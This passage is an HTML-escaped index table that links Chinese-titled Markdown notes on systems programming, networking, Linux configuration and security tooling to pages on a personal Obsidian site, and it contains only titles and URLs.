&lt;tr&gt;&lt;td&gt;延时 ACK 与 Nagle 算法结合.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E5%BB%B6%E6%97%B6-ack-%E4%B8%8E-nagle-%E7%AE%97%E6%B3%95%E7%BB%93%E5%90%88-2&#x2F;&quot;&gt;obsidian&#x2F;延时-ack-与-nagle-算法结合-2&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;开放性问题 Windows 和 Linux 哪个更加安全？.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E5%BC%80%E6%94%BE%E6%80%A7%E9%97%AE%E9%A2%98-windows-%E5%92%8C-linux-%E5%93%AA%E4%B8%AA%E6%9B%B4%E5%8A%A0%E5%AE%89%E5%85%A8&#x2F;&quot;&gt;obsidian&#x2F;开放性问题-windows-和-linux-哪个更加安全&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;彻底理解 C++ ABI.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E5%BD%BB%E5%BA%95%E7%90%86%E8%A7%A3-c-abi&#x2F;&quot;&gt;obsidian&#x2F;彻底理解-c-abi&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;手把手教你如何一步步开启 Secure Boot.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%89%8B%E6%8A%8A%E6%89%8B%E6%95%99%E4%BD%A0%E5%A6%82%E4%BD%95%E4%B8%80%E6%AD%A5%E6%AD%A5%E5%BC%80%E5%90%AF-secure-boot&#x2F;&quot;&gt;obsidian&#x2F;手把手教你如何一步步开启-secure-boot&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;折腾了一下GPG和智能卡.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%8A%98%E8%85%BE%E4%BA%86%E4%B8%80%E4%B8%8Bgpg%E5%92%8C%E6%99%BA%E8%83%BD%E5%8D%A1&#x2F;&quot;&gt;obsidian&#x2F;折腾了一下gpg和智能卡&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;vpn&#x2F;搭建属于自己的cloudflare反代IP _ tanglu_s blog.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%90%AD%E5%BB%BA%E5%B1%9E%E4%BA%8E%E8%87%AA%E5%B7%B1%E7%9A%84cloudflare%E5%8F%8D%E4%BB%A3ip-tanglu-s-blog&#x2F;&quot;&gt;obsidian&#x2F;搭建属于自己的cloudflare反代ip-tanglu-s-blog&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;搭建最新的VLESS Vision和VLESS Reality防止VPS端口封禁.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%90%AD%E5%BB%BA%E6%9C%80%E6%96%B0%E7%9A%84vless-vision%E5%92%8Cvless-reality%E9%98%B2%E6%AD%A2vps%E7%AB%AF%E5%8F%A3%E5%B0%81%E7%A6%81&#x2F;&quot;&gt;obsidian&#x2F;搭建最新的vless-vision和vless-reality防止vps端口封禁&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;操作系统——什么是内存屏障？.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F-%E4%BB%80%E4%B9%88%E6%98%AF%E5%86%85%E5%AD%98%E5%B1%8F%E9%9A%9C&#x2F;&quot;&gt;obsidian&#x2F;操作系统-什么是内存屏障&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;数字证书及CA详解.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%95%B0%E5%AD%97%E8%AF%81%E4%B9%A6%E5%8F%8Aca%E8%AF%A6%E8%A7%A3&#x2F;&quot;&gt;obsidian&#x2F;数字证书及ca详解&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;vpn&#x2F;有没有办法根据 path 隐藏 http 服务.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%9C%89%E6%B2%A1%E6%9C%89%E5%8A%9E%E6%B3%95%E6%A0%B9%E6%8D%AE-path-%E9%9A%90%E8%97%8F-http-%E6%9C%8D%E5%8A%A1&#x2F;&quot;&gt;obsidian&#x2F;有没有办法根据-path-隐藏-http-服务&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;泛型特化 Specialization.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%B3%9B%E5%9E%8B%E7%89%B9%E5%8C%96-specialization&#x2F;&quot;&gt;obsidian&#x2F;泛型特化-specialization&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;消毒覆盖率 — Clang 20.0.0git 文档.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%B6%88%E6%AF%92%E8%A6%86%E7%9B%96%E7%8E%87-clang-20.0.0git-%E6%96%87%E6%A1%A3&#x2F;&quot;&gt;obsidian&#x2F;消毒覆盖率-clang-20.0.0git-文档&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;深入 Rust 1.63 新特性 Scoped Thread.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%B7%B1%E5%85%A5-rust-1.63-%E6%96%B0%E7%89%B9%E6%80%A7-scoped-thread&#x2F;&quot;&gt;obsidian&#x2F;深入-rust-1.63-新特性-scoped-thread&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;深入了解C++的So动态更新.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%B7%B1%E5%85%A5%E4%BA%86%E8%A7%A3c-%E7%9A%84so%E5%8A%A8%E6%80%81%E6%9B%B4%E6%96%B0&#x2F;&quot;&gt;obsidian&#x2F;深入了解c-的so动态更新&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;源码剖析signal和sigaction的区别[通俗易懂]-腾讯云开发者社区-腾讯云.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BA%90%E7%A0%81%E5%89%96%E6%9E%90signal%E5%92%8Csigaction%E7%9A%84%E5%8C%BA%E5%88%AB%5B%E9%80%9A%E4%BF%97%E6%98%93%E6%87%82%5D-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;&quot;&gt;obsidian&#x2F;源码剖析signal和sigaction的区别[通俗易懂]-腾讯云开发者社区-腾讯云&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;漫谈微信libco协程设计及实现（万字长文）.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%BC%AB%E8%B0%88%E5%BE%AE%E4%BF%A1libco%E5%8D%8F%E7%A8%8B%E8%AE%BE%E8%AE%A1%E5%8F%8A%E5%AE%9E%E7%8E%B0-%E4%B8%87%E5%AD%97%E9%95%BF%E6%96%87&#x2F;&quot;&gt;obsidian&#x2F;漫谈微信libco协程设计及实现-万字长文&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;用Rust学习解析器组合器 combinator.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%94%A8rust%E5%AD%A6%E4%B9%A0%E8%A7%A3%E6%9E%90%E5%99%A8%E7%BB%84%E5%90%88%E5%99%A8-combinator&#x2F;&quot;&gt;obsidian&#x2F;用rust学习解析器组合器-combinator&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;用Rust实现UDP Echo服务器和客户端.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%94%A8rust%E5%AE%9E%E7%8E%B0udp-echo%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%92%8C%E5%AE%A2%E6%88%B7%E7%AB%AF&#x2F;&quot;&gt;obsidian&#x2F;用rust实现udp-echo服务器和客户端&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;用户 - Arch Linux 中文维基.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%94%A8%E6%88%B7-arch-linux-%E4%B8%AD%E6%96%87%E7%BB%B4%E5%9F%BA&#x2F;&quot;&gt;obsidian&#x2F;用户-arch-linux-中文维基&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;用户态coredump - OpenCloudOS Documentation.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%94%A8%E6%88%B7%E6%80%81coredump-opencloudos-documentation&#x2F;&quot;&gt;obsidian&#x2F;用户态coredump-opencloudos-documentation&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;目前国内可用Docker镜像源汇总（截至2025年1月）.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%9B%AE%E5%89%8D%E5%9B%BD%E5%86%85%E5%8F%AF%E7%94%A8docker%E9%95%9C%E5%83%8F%E6%BA%90%E6%B1%87%E6%80%BB-%E6%88%AA%E8%87%B32025%E5%B9%B41%E6%9C%88&#x2F;&quot;&gt;obsidian&#x2F;目前国内可用docker镜像源汇总-截至2025年1月&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;真实不存在-REALITY杂谈.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%9C%9F%E5%AE%9E%E4%B8%8D%E5%AD%98%E5%9C%A8-reality%E6%9D%82%E8%B0%88&#x2F;&quot;&gt;obsidian&#x2F;真实不存在-reality杂谈&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;硬核挑战：如果说精通 Linux 有段位，这份文档直接拉满宗师级.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%A1%AC%E6%A0%B8%E6%8C%91%E6%88%98-%E5%A6%82%E6%9E%9C%E8%AF%B4%E7%B2%BE%E9%80%9A-linux-%E6%9C%89%E6%AE%B5%E4%BD%8D-%E8%BF%99%E4%BB%BD%E6%96%87%E6%A1%A3%E7%9B%B4%E6%8E%A5%E6%8B%89%E6%BB%A1%E5%AE%97%E5%B8%88%E7%BA%A7&#x2F;&quot;&gt;obsidian&#x2F;硬核挑战-如果说精通-linux-有段位-这份文档直接拉满宗师级&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;硬盘第1个分区前的1M空间.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%A1%AC%E7%9B%98%E7%AC%AC1%E4%B8%AA%E5%88%86%E5%8C%BA%E5%89%8D%E7%9A%841m%E7%A9%BA%E9%97%B4&#x2F;&quot;&gt;obsidian&#x2F;硬盘第1个分区前的1m空间&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;秒懂开源许可证GPL、BSD、MIT、Mozilla、Apache和LGPL的区别.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%A7%92%E6%87%82%E5%BC%80%E6%BA%90%E8%AE%B8%E5%8F%AF%E8%AF%81gpl%E3%80%81bsd%E3%80%81mit%E3%80%81mozilla%E3%80%81apache%E5%92%8Clgpl%E7%9A%84%E5%8C%BA%E5%88%AB&#x2F;&quot;&gt;obsidian&#x2F;秒懂开源许可证gpl、bsd、mit、mozilla、apache和lgpl的区别&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;穿透 wsl 和 ssh, 新版本 neovim 跨设备任意复制，copy anywhere!.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%A9%BF%E9%80%8F-wsl-%E5%92%8C-ssh-%E6%96%B0%E7%89%88%E6%9C%AC-neovim-%E8%B7%A8%E8%AE%BE%E5%A4%87%E4%BB%BB%E6%84%8F%E5%A4%8D%E5%88%B6-copy-anywhere&#x2F;&quot;&gt;obsidian&#x2F;穿透-wsl-和-ssh-新版本-neovim-跨设备任意复制-copy-anywhere&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;笔记 _ Linux 性能监视与跑分测试.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%AC%94%E8%AE%B0-linux-%E6%80%A7%E8%83%BD%E7%9B%91%E8%A7%86%E4%B8%8E%E8%B7%91%E5%88%86%E6%B5%8B%E8%AF%95&#x2F;&quot;&gt;obsidian&#x2F;笔记-linux-性能监视与跑分测试&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;笔记：华为路由器的使用方法与CTL终端基本操作.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%AC%94%E8%AE%B0-%E5%8D%8E%E4%B8%BA%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95%E4%B8%8Ectl%E7%BB%88%E7%AB%AF%E5%9F%BA%E6%9C%AC%E6%93%8D%E4%BD%9C&#x2F;&quot;&gt;obsidian&#x2F;笔记-华为路由器的使用方法与ctl终端基本操作&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;系统调用会引起CPU上下文切换吗？ · Issue #5 · Talk-Go-CSAPP-05Discusion.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E4%BC%9A%E5%BC%95%E8%B5%B7cpu%E4%B8%8A%E4%B8%8B%E6%96%87%E5%88%87%E6%8D%A2%E5%90%97-issue-5-talk-go-csapp-05discusion&#x2F;&quot;&gt;obsidian&#x2F;系统调用会引起cpu上下文切换吗-issue-5-talk-go-csapp-05discusion&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;线程安全、原子变量、内存顺序.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E3%80%81%E5%8E%9F%E5%AD%90%E5%8F%98%E9%87%8F%E3%80%81%E5%86%85%E5%AD%98%E9%A1%BA%E5%BA%8F&#x2F;&quot;&gt;obsidian&#x2F;线程安全、原子变量、内存顺序&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;编译原理 lex yacc.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86-lex-yacc&#x2F;&quot;&gt;obsidian&#x2F;编译原理-lex-yacc&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;网络扫描之Nmap.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%BD%91%E7%BB%9C%E6%89%AB%E6%8F%8F%E4%B9%8Bnmap&#x2F;&quot;&gt;obsidian&#x2F;网络扫描之nmap&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;网络管理：基本编码规则(BER).md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%BD%91%E7%BB%9C%E7%AE%A1%E7%90%86-%E5%9F%BA%E6%9C%AC%E7%BC%96%E7%A0%81%E8%A7%84%E5%88%99-ber&#x2F;&quot;&gt;obsidian&#x2F;网络管理-基本编码规则-ber&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;自建Docker 镜像源加速的方法.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E8%87%AA%E5%BB%BAdocker-%E9%95%9C%E5%83%8F%E6%BA%90%E5%8A%A0%E9%80%9F%E7%9A%84%E6%96%B9%E6%B3%95&#x2F;&quot;&gt;obsidian&#x2F;自建docker-镜像源加速的方法&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;蚂蚁集团 ｜ 如何在生产环境排查 Rust 内存占用过高问题.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E8%9A%82%E8%9A%81%E9%9B%86%E5%9B%A2-%E5%A6%82%E4%BD%95%E5%9C%A8%E7%94%9F%E4%BA%A7%E7%8E%AF%E5%A2%83%E6%8E%92%E6%9F%A5-rust-%E5%86%85%E5%AD%98%E5%8D%A0%E7%94%A8%E8%BF%87%E9%AB%98%E9%97%AE%E9%A2%98&#x2F;&quot;&gt;obsidian&#x2F;蚂蚁集团-如何在生产环境排查-rust-内存占用过高问题&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;解决ubuntu开机resolve.conf被覆盖为127.0.0.53无法导致上网的问题.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E8%A7%A3%E5%86%B3ubuntu%E5%BC%80%E6%9C%BAresolve.conf%E8%A2%AB%E8%A6%86%E7%9B%96%E4%B8%BA127.0.0.53%E6%97%A0%E6%B3%95%E5%AF%BC%E8%87%B4%E4%B8%8A%E7%BD%91%E7%9A%84%E9%97%AE%E9%A2%98&#x2F;&quot;&gt;obsidian&#x2F;解决ubuntu开机resolve.conf被覆盖为127.0.0.53无法导致上网的问题&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;跳点搜索算法JPS及其优化（万字长文）.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E8%B7%B3%E7%82%B9%E6%90%9C%E7%B4%A2%E7%AE%97%E6%B3%95jps%E5%8F%8A%E5%85%B6%E4%BC%98%E5%8C%96-%E4%B8%87%E5%AD%97%E9%95%BF%E6%96%87&#x2F;&quot;&gt;obsidian&#x2F;跳点搜索算法jps及其优化-万字长文&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;转载：asan 使用.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E8%BD%AC%E8%BD%BD-asan-%E4%BD%BF%E7%94%A8&#x2F;&quot;&gt;obsidian&#x2F;转载-asan-使用&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;【进程通信】信号处理机制二——内核实现.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1-%E4%BF%A1%E5%8F%B7%E5%A4%84%E7%90%86%E6%9C%BA%E5%88%B6%E4%BA%8C-%E5%86%85%E6%A0%B8%E5%AE%9E%E7%8E%B0&#x2F;&quot;&gt;obsidian&#x2F;进程通信-信号处理机制二-内核实现&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;通过 eBPF socket filter 或 syscall trace 追踪 HTTP 请求等七层协议.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E9%80%9A%E8%BF%87-ebpf-socket-filter-%E6%88%96-syscall-trace-%E8%BF%BD%E8%B8%AA-http-%E8%AF%B7%E6%B1%82%E7%AD%89%E4%B8%83%E5%B1%82%E5%8D%8F%E8%AE%AE&#x2F;&quot;&gt;obsidian&#x2F;通过-ebpf-socket-filter-或-syscall-trace-追踪-http-请求等七层协议&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;通过OpenSSH建立二层和三层加密隧道.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E9%80%9A%E8%BF%87openssh%E5%BB%BA%E7%AB%8B%E4%BA%8C%E5%B1%82%E5%92%8C%E4%B8%89%E5%B1%82%E5%8A%A0%E5%AF%86%E9%9A%A7%E9%81%93&#x2F;&quot;&gt;obsidian&#x2F;通过openssh建立二层和三层加密隧道&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;通过tcpdump对Unix Domain Socket 进行抓包解析.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E9%80%9A%E8%BF%87tcpdump%E5%AF%B9unix-domain-socket-%E8%BF%9B%E8%A1%8C%E6%8A%93%E5%8C%85%E8%A7%A3%E6%9E%90&#x2F;&quot;&gt;obsidian&#x2F;通过tcpdump对unix-domain-socket-进行抓包解析&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;配置Debian路由器双WAN接入.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E9%85%8D%E7%BD%AEdebian%E8%B7%AF%E7%94%B1%E5%99%A8%E5%8F%8Cwan%E6%8E%A5%E5%85%A5&#x2F;&quot;&gt;obsidian&#x2F;配置debian路由器双wan接入&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;配置基于硬件安全的 Linux：TPM2FIDO2 解密 LUKS 全盘加密和 U2F 用户登录.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E9%85%8D%E7%BD%AE%E5%9F%BA%E4%BA%8E%E7%A1%AC%E4%BB%B6%E5%AE%89%E5%85%A8%E7%9A%84-linux-tpm2fido2-%E8%A7%A3%E5%AF%86-luks-%E5%85%A8%E7%9B%98%E5%8A%A0%E5%AF%86%E5%92%8C-u2f-%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95&#x2F;&quot;&gt;obsidian&#x2F;配置基于硬件安全的-linux-tpm2fido2-解密-luks-全盘加密和-u2f-用户登录&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;配置轻量级 Linux 远程开发环境（Fedora 38）.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E9%85%8D%E7%BD%AE%E8%BD%BB%E9%87%8F%E7%BA%A7-linux-%E8%BF%9C%E7%A8%8B%E5%BC%80%E5%8F%91%E7%8E%AF%E5%A2%83-fedora-38&#x2F;&quot;&gt;obsidian&#x2F;配置轻量级-linux-远程开发环境-fedora-38&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;零依赖的软路由——使用OpenVSwitch改造家庭网络.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E9%9B%B6%E4%BE%9D%E8%B5%96%E7%9A%84%E8%BD%AF%E8%B7%AF%E7%94%B1-%E4%BD%BF%E7%94%A8openvswitch%E6%94%B9%E9%80%A0%E5%AE%B6%E5%BA%AD%E7%BD%91%E7%BB%9C&#x2F;&quot;&gt;obsidian&#x2F;零依赖的软路由-使用openvswitch改造家庭网络&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;高效CC++调试.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E9%AB%98%E6%95%88cc-%E8%B0%83%E8%AF%95&#x2F;&quot;&gt;obsidian&#x2F;高效cc-调试&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
